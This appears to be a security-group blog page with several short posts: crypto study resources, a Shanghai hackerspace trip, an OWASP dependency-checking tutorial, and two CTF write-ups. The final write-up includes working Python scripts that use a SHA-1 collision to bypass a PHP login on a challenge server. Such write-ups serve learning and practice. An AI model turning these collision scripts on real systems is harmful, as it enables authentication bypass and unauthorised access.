Resources for becoming a better hacker - Part 1, crypto

10/04/17 — capitol

bits

The skill set of a good hacker should cover a wide array of different topics, today we are going to take a dive into one of those areas - Cryptographic systems.

Modern cryptography is a field that really took off 1976 when Diffie and Hellman introduced public-key cryptography and a method for key exchange based on the discrete logarithm problem. Since then there has been many great developments within the field and more algorithms have been designed based on hard mathematical problems.

Thankfully most people (that are not doing it as a living) have stopped inventing their own encryption algorithms, so it’s rare that there is a weakness in the algorithm. But that doesn’t mean that there isn’t any avenues for attack for a skilled hacker. There is no shortage of mistakes being made in the implementation of the algorithms that we think are safe, and even if the implementation is without obvious exploits then it might leak information through side channels (caches, timing, power usage) or maybe the implementation of the random number generator can be attacked.

In order to be able to understand the how to build secure systems, or how to attack them, I recommend two things, a solid theoretical understanding and lots of practice.

Theoretical Texts

One of the classic books on the subject is “Handbook of Applied Cryptography” and is available for free here:

HAC

Useful Libraries

There is a lot of libraries that implement cryptographic primitives so that you don’t have to reinvent wheels. I have listed to two biggest ones for python and java below, but there isn’t any shortage of libraries for other languages.

Python: pycrypto

Java: bouncycastle

Training Exercises

Theoretical knowledge is great, but there is no more effective way to learn something than to practice it. These are sets of challenges that lets you try to figure and implement solutions.

The best set of training exercises I have found is the cryptopals one.

cryptopals

krypton

Cryptanalysis

(image by parameter_bond, Creative Commons 2.0)

Visiting Xin Che Jian hackerspace in Shanghai

04/04/17 — head

logo

A couple of weeks ago i was in China visiting Shanghai, driven by curiosity. Most of the news i read about China are about the alarming levels of air pollution, the exploitation of labour and of course censorship and lack of civil liberties.

cameras

I found out that although these are all true, Shanghai has also much more to offer. For example some of the best and cheapest food i have ever had, a lively cultural scene and a quite stilish and laid back lifestyle. Also impressive is the offer of services and goods, and how accessible the city is, considering that almost no one speaks English.

High skyscrapers boasting with activities, 4 lanes elevated roads, huge shopping malls and 15 metro lines coexist side by side with quiet and elegant districts, known as the lilongs settlements, an architectural heritage of the pre-communist era, built between 1840 and 1940, coinciding with the western presence in this port city.

Read More

Detect security problems at compile time

02/04/17 — capitol

bits

A large part of modern software engineering consists of standing on the shoulders of other peoples code, this makes us more productive and lets us focus on the solving our business problems rather than reinventing wheels all the time.

But sometimes security problems are discovered in those libraries, if the project is well maintained they request a CVE number, patch the bug and release a new version. CVE numbers are the canonical identifiers for security problems and they are issued by the CVE Numbering Authority.

It’s obvious that we don’t want to use libraries in our projects that have known security holes, but how can we automate this this?

OWASP have solved this problem for us, with their Dependency Check project. It can integrate as a step in your build chain and verify your external dependencies.

For java this is done with a maven plugin, you can easily add this to your pom.xml:

    <build>
        <plugins>
            <plugin>
                <groupId>org.owasp</groupId>
                <artifactId>dependency-check-maven</artifactId>
                <version>1.4.5</version>
                <executions>
                    <execution>
                        <goals>
                            <goal>check</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>

When I run mvn verify in one of my projects with the above configuration it produces this output:

One or more dependencies were identified with known vulnerabilities in ctlog:

httpclient-4.3.3.jar (cpe:/a:apache:httpclient:4.3.3, org.apache.httpcomponents:httpclient:4.3.3) : CVE-2015-5262, CVE-2014-3577
bcprov-jdk15on-1.49.jar (cpe:/a:bouncycastle:bouncy-castle-crypto-package:1.49, cpe:/a:bouncycastle:bouncy_castle_crypto_package:1.49, org.bouncycastle:bcprov-jdk15on:1.49) : CVE-2015-7940


See the dependency-check report for more details.

And this report is produced.

It’s also possible to configure it to fail the build on any vulnerability, or if a severe enough problem is discovered.

My opinion is that this should be used in all projects, in order to quickly discover security problems and give the developers the possibility to act on them.

CTF: VolgaCTF VC task

27/03/17 — capitol

bits

name:

VC

category:

crypto

points:

50

Writeup

We were given two images, both containing black and white noise. A B

Since it’s a crypto challege with low points, we guessed that it’s a simple XOR.

The quickest way to xor two images is with a command line one liner:

convert A.png B.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" C.png

That produced this result: C

Flag: VolgaCTF{Classic_secret_sharing_scheme}

CTF: Shattering Prudentialv2

07/03/17 — capitol

bits

name:

Prudentialv2

category:

web

points:

50

Writeup

During the Boston Key Party CTF 2017 we also solved the Prudentialv2 task.

We were presented with a simple website that asked us to log in, a peek into the html source showed us a link to what looked like the source code of the backend:

<?php
require 'flag.php';

if (isset($_GET['name']) and isset($_GET['password'])) {
    $name = (string)$_GET['name'];
    $password = (string)$_GET['password'];

    if ($name == $password) {
        print 'Your password can not be your name.';
    } else if (sha1($name) === sha1($password)) {
      die('Flag: '.$flag);
    } else {
        print '<p class="alert">Invalid password.</p>';
    }
}
?>

This might have looked like an impossible challenge, if it wasn’t for the fact that google had released an attack on sha1 a few days prior.

We first tried to url-encode the two pdf’s and upload them as username and password, but the server had a post limit of 8k.

But the effective attack on sha1 is really quite small, so we could use that instead.

One script to generate the username and password files:

#!/usr/bin/env python
# from https://github.com/lxe/shattered/blob/master/shattered.js

import hashlib
a = bytearray([
  0x73, 0x46, 0xdc, 0x91, 0x66, 0xb6, 0x7e, 0x11, 0x8f, 0x02, 0x9a, 0xb6, 0x21, 0xb2, 0x56, 0x0f,
  0xf9, 0xca, 0x67, 0xcc, 0xa8, 0xc7, 0xf8, 0x5b, 0xa8, 0x4c, 0x79, 0x03, 0x0c, 0x2b, 0x3d, 0xe2,
  0x18, 0xf8, 0x6d, 0xb3, 0xa9, 0x09, 0x01, 0xd5, 0xdf, 0x45, 0xc1, 0x4f, 0x26, 0xfe, 0xdf, 0xb3,
  0xdc, 0x38, 0xe9, 0x6a, 0xc2, 0x2f, 0xe7, 0xbd, 0x72, 0x8f, 0x0e, 0x45, 0xbc, 0xe0, 0x46, 0xd2,
  0x3c, 0x57, 0x0f, 0xeb, 0x14, 0x13, 0x98, 0xbb, 0x55, 0x2e, 0xf5, 0xa0, 0xa8, 0x2b, 0xe3, 0x31,
  0xfe, 0xa4, 0x80, 0x37, 0xb8, 0xb5, 0xd7, 0x1f, 0x0e, 0x33, 0x2e, 0xdf, 0x93, 0xac, 0x35, 0x00,
  0xeb, 0x4d, 0xdc, 0x0d, 0xec, 0xc1, 0xa8, 0x64, 0x79, 0x0c, 0x78, 0x2c, 0x76, 0x21, 0x56, 0x60,
  0xdd, 0x30, 0x97, 0x91, 0xd0, 0x6b, 0xd0, 0xaf, 0x3f, 0x98, 0xcd, 0xa4, 0xbc, 0x46, 0x29, 0xb1
])

b = bytearray([
  0x7f, 0x46, 0xdc, 0x93, 0xa6, 0xb6, 0x7e, 0x01, 0x3b, 0x02, 0x9a, 0xaa, 0x1d, 0xb2, 0x56, 0x0b,
  0x45, 0xca, 0x67, 0xd6, 0x88, 0xc7, 0xf8, 0x4b, 0x8c, 0x4c, 0x79, 0x1f, 0xe0, 0x2b, 0x3d, 0xf6,
  0x14, 0xf8, 0x6d, 0xb1, 0x69, 0x09, 0x01, 0xc5, 0x6b, 0x45, 0xc1, 0x53, 0x0a, 0xfe, 0xdf, 0xb7,
  0x60, 0x38, 0xe9, 0x72, 0x72, 0x2f, 0xe7, 0xad, 0x72, 0x8f, 0x0e, 0x49, 0x04, 0xe0, 0x46, 0xc2,
  0x30, 0x57, 0x0f, 0xe9, 0xd4, 0x13, 0x98, 0xab, 0xe1, 0x2e, 0xf5, 0xbc, 0x94, 0x2b, 0xe3, 0x35,
  0x42, 0xa4, 0x80, 0x2d, 0x98, 0xb5, 0xd7, 0x0f, 0x2a, 0x33, 0x2e, 0xc3, 0x7f, 0xac, 0x35, 0x14,
  0xe7, 0x4d, 0xdc, 0x0f, 0x2c, 0xc1, 0xa8, 0x74, 0xcd, 0x0c, 0x78, 0x30, 0x5a, 0x21, 0x56, 0x64,
  0x61, 0x30, 0x97, 0x89, 0x60, 0x6b, 0xd0, 0xbf, 0x3f, 0x98, 0xcd, 0xa8, 0x04, 0x46, 0x29, 0xa1
])

prefix= bytearray([
  0x25, 0x50, 0x44, 0x46, 0x2d, 0x31, 0x2e, 0x33, 0x0a, 0x25, 0xe2, 0xe3, 0xcf, 0xd3, 0x0a, 0x0a,
  0x0a, 0x31, 0x20, 0x30, 0x20, 0x6f, 0x62, 0x6a, 0x0a, 0x3c, 0x3c, 0x2f, 0x57, 0x69, 0x64, 0x74,
  0x68, 0x20, 0x32, 0x20, 0x30, 0x20, 0x52, 0x2f, 0x48, 0x65, 0x69, 0x67, 0x68, 0x74, 0x20, 0x33,
  0x20, 0x30, 0x20, 0x52, 0x2f, 0x54, 0x79, 0x70, 0x65, 0x20, 0x34, 0x20, 0x30, 0x20, 0x52, 0x2f,
  0x53, 0x75, 0x62, 0x74, 0x79, 0x70, 0x65, 0x20, 0x35, 0x20, 0x30, 0x20, 0x52, 0x2f, 0x46, 0x69,
  0x6c, 0x74, 0x65, 0x72, 0x20, 0x36, 0x20, 0x30, 0x20, 0x52, 0x2f, 0x43, 0x6f, 0x6c, 0x6f, 0x72,
  0x53, 0x70, 0x61, 0x63, 0x65, 0x20, 0x37, 0x20, 0x30, 0x20, 0x52, 0x2f, 0x4c, 0x65, 0x6e, 0x67,
  0x74, 0x68, 0x20, 0x38, 0x20, 0x30, 0x20, 0x52, 0x2f, 0x42, 0x69, 0x74, 0x73, 0x50, 0x65, 0x72,
  0x43, 0x6f, 0x6d, 0x70, 0x6f, 0x6e, 0x65, 0x6e, 0x74, 0x20, 0x38, 0x3e, 0x3e, 0x0a, 0x73, 0x74,
  0x72, 0x65, 0x61, 0x6d, 0x0a, 0xff, 0xd8, 0xff, 0xfe, 0x00, 0x24, 0x53, 0x48, 0x41, 0x2d, 0x31,
  0x20, 0x69, 0x73, 0x20, 0x64, 0x65, 0x61, 0x64, 0x21, 0x21, 0x21, 0x21, 0x21, 0x85, 0x2f, 0xec,
  0x09, 0x23, 0x39, 0x75, 0x9c, 0x39, 0xb1, 0xa1, 0xc6, 0x3c, 0x4c, 0x97, 0xe1, 0xff, 0xfe, 0x01
])

s1 = prefix + a
s2 = prefix + b

with open("user.blob", "w") as fp:
    fp.write(s1)

with open("pw.blob", "w") as fp:
    fp.write(s2)

And one script to upload them to the server and get the flag:

#!/usr/bin/env python

import socket
import urllib

user = open("user.blob").read()
password = open("pw.blob").read()

user = urllib.quote_plus(user)
password = urllib.quote_plus(password)

req = "GET /index.php?name=%s&password=%s HTTP/1.1\r\nHost: 54.202.82.13\r\n\r\n" % (user, password)

conn = socket.create_connection(("54.202.82.13", 80))
conn.send(req)
print conn.recv(2048)

Flag: FLAG{AfterThursdayWeHadToReduceThePointValue}

Image credit